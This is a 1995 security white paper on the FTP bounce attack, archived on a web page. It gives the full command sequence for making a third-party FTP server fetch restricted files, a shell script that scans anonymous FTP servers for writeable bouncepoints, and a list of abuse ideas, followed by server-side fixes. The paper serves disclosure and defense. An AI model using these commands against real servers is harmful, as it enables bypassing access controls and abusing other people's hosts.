Index Home About Blog
From: *Hobbit* <> 
Date: Jul 12 1995
expires: 1 Apr 96 12:34

This discusses one of many possible uses of the "FTP server bounce attack".
The mechanism used is probably well-known, but to date interest in detailing
or fixing it seems low to nonexistent.  This particular example demonstrates
yet another way in which most electronically enforced "export restrictions" are
completely useless and trivial to bypass.  It is chosen in an effort to make
the reader sit up and notice that there are some really ill-conceived aspects
of the standard FTP protocol.

Thanks also to Alain Knaff at for a brief but entertaining discussion
of some of these issues a couple of months ago which got me thinking more
deeply about them.

The motive

You are a user on, IP address F.F.F.F, and want to retrieve
cryptographic source code from in the US.  The FTP server at is set up to allow your connection, but deny access to the crypto
sources because your source IP address is that of a non-US site [as near as
their FTP server can determine from the DNS, that is].  In any case, you
cannot directly retrieve what you want from's server.

However, will allow to download crypto sources because is in the US too.  You happen to know that /incoming on
is a world-writeable directory that any anonymous user can drop files into and
read them back from.'s IP address is C.C.C.C.

The attack

This assumes you have an FTP server that does passive mode.  Open an FTP
connection to your own machine's real IP address [not localhost] and log in.
Change to a convenient directory that you have write access to, and then do:

        quote "pasv"
        quote "stor foobar"

Take note of the address and port that are returned from the PASV command,
F,F,F,F,X,X.  This FTP session will now hang, so background it or flip to
another window or something to proceed with the rest of this.

Construct a file containing FTP server commands.  Let's call this file
"instrs".  It will look like this:

        user ftp
        pass -anonymous@
        cwd /export-restricted-crypto
        type i
        port F,F,F,F,X,X
        retr crypto.tar.Z
        ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
        ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@

F,F,F,F,X,X is the same address and port that your own machine handed you
on the first connection.  The trash at the end is extra lines you create,
each containing 250 NULLS and nothing else, enough to fill up about 60K of
extra data.  The reason for this filler is explained later.

Open an FTP connection to, log in anonymously, and cd to /incoming.
Now type the following into this FTP session, which transfers a copy of your
"instrs" file over and then tells's FTP server to connect to's FTP server using your file as the commands:

        put instrs
        quote "port C,C,C,C,0,21"
        quote "retr instrs"

Crypto.tar.Z should now show up as "foobar" on your machine via your first FTP
connection.  If the connection to didn't die by itself due to an
apparently common server bug, clean up by deleting "instrs" and exiting.
Otherwise you'll have to reconnect to finish.


There are several variants of this.  Your PASV listener connection can be
opened on any machine that you have file write access to -- your own, another
connection to, or somewhere completely unrelated.  In fact, it does
not even have to be an FTP server -- any utility that will listen on a known
TCP port and read raw data from it into a file will do.  A passive-mode FTP
data connection is simply a convenient way to do this.

The extra nulls at the end of the command file are to fill up the TCP windows
on either end of the ufred -> crypto connection, and ensure that the command
connection stays open long enough for the whole session to be executed.
Otherwise, most FTP servers tend to abort all transfers and command processing
when the control connection closes prematurely.  The size of the data is enough
to fill both the receive and transmit windows, which on some OSes are quite
large [on the order of 30K].  You can trim this down if you know what OSes
are on either end and the sum of their default TCP window sizes.  It is split
into lines of 250 characters to avoid overrunning command buffers on the target
server -- probably academic since you told the server to quit already.

If disallows *any* FTP client connection from you at and
you need to see what files are where, you can always put "list -aR" in your
command file and get a directory listing of the entire tree via ufred.

You may have to retrieve your command file to the target's FTP server in ASCII
mode rather than binary mode.  Some FTP servers can deal with raw newlines, but
others may need command lines terminated by CRLF pairs.  Keep this in mind when
retrieving files to daemons other than FTP servers, as well.

Other possbilities

Despite the fact that such third-party connections are one-way only, they
can be used for all kinds of things.  Similar methods can be used to post
virtually untraceable mail and news, hammer on servers at various sites, fill
up disks, try to hop firewalls, and generally be annoying and hard to track
down at the same time.  A little thought will bring realization of numerous
other scary possibilities.

Connections launched this way come from source port 20, which some sites allow
through their firewalls in an effort to deal with the "ftp-data" problem.  For
some purposes, this can be the next best thing to source-routed attacks, and is
likely to succeed where source routing fails against packet filters.  And it's
all made possible by the way the FTP protocol spec was written, allowing
control connections to come from anywhere and data connections to go anywhere.


There will always be sites on the net with creaky old FTP servers and
writeable directories that allow this sort of traffic, so saying "fix all
the FTP servers" is the wrong answer.  But you can protect your own against
both being a third-party bouncepoint and having another one used against you.

The first obvious thing to do is allow an FTP server to only make data
connections to the same host that the control connection originated from.
This does not prevent the above attack, of course, since the PASV listener
could just as easily be on and thus meet that requirement, but
it does prevent *your* site from being a potential bouncepoint.  It also
breaks the concept of "proxy FTP", but hidden somewhere in this paragraph
is a very tiny violin.

The next obvious thing is to prohibit FTP control connections that come from
reserved ports, or at least port 20.  This prevents the above scenario as

Both of these things, plus the usual poop about blocking source-routed packets
and other avenues of spoofery, are necessary to prevent hacks of this sort.
And think about whether or not you really need an open "incoming" directory.

Only allowing passive-mode client data connections is another possibility,
but there are still too many FTP clients in use that aren't passive-aware.

"A loose consensus and running code"

There is some existing work addressing this available here at [and
has been for several months, I might add] in the "fixkits archive".  Several
mods to wu-ftpd-2.4 are presented, which includes code to prevent and log
attempts to use bogus PORT commands.  Recent security fixes from elsewhere are
also included, along with s/key support and various compile-time options to
beef up security for specific applications.

Stan Barber at is working on merging these and several other fixes
into a true updated wu-ftpd release.  There are a couple of other divergent
efforts going on.  Nowhere is it claimed that any of this work is complete yet,
but it is a start toward something I have had in mind for a while -- a
network-wide release of wu-ftpd-2.5, with contributions from around the net. 
The wu-ftpd server has become very popular, but is in sad need of yet another
security upgrade.  It would be nice to pull all the improvements together into
one coordinated place, and it looks like it will happen.  All of this still
won't help people who insist on running vendor-supplied servers, of course.

Sanity-checking the client connection's source port is not implemented
specifically in the FTP server fixes, but in modifications to Wietse's
tcp-wrappers package since this problem is more general.  A simple PORT option
is added that denies connections from configurable ranges of source ports at
the tcpd stage, before a called daemon is executed.

Some of this is pointed to by /src/fixkits/README in the anonymous FTP
area here.  Read this roadmap before grabbing other things.


Adding the nulls at the end of the command file was the key to making this
work against a variety of daemons.  Simply sending the desired data would
usually fail due to the immediate close signaling the daemon to bail out.

If WUSTL has not given up entirely on the whole wu-ftpd project, they are
keeping very quiet about further work.  Bryan O'Connor appears to have many
other projects to attend to by now...

This is a trivial script to find world-writeable and ftp-owned directories and
files on a unix-based anonymous FTP server.  You'd be surprised how many of
those writeable "bouncepoints" pop out after a short run of something like
this.  You will have to later check that you can both PUT and GET files from
such places; some servers protect uploaded files against reading.  Many do not,
and then wonder why they are among this week's top ten warez sites...

ftp -n $1 << FOE
quote "user ftp"
quote "pass -nobody@"
cd /
dir "-aR" xxx.$$
# Not smart enough to figure out ftp's numeric UID if no passwd file!
cat -v xxx.$$ | awk '
  BEGIN { idir = "/" ; dirp = 0 }
  /.:$/ { idir = $0 ; dirp = 1 ; }
  /^[-d][-r](......w.|........  *[0-9]* ftp  *)/ {
    if (dirp == 1) print idir
    dirp = 0
    print $0
  } '
rm xxx.$$

I suppose one could call this a white paper.  It is up for grabs at
in /random/ftp-attack as well as being posted in various relevant places.

_H*  950712

Index Home About Blog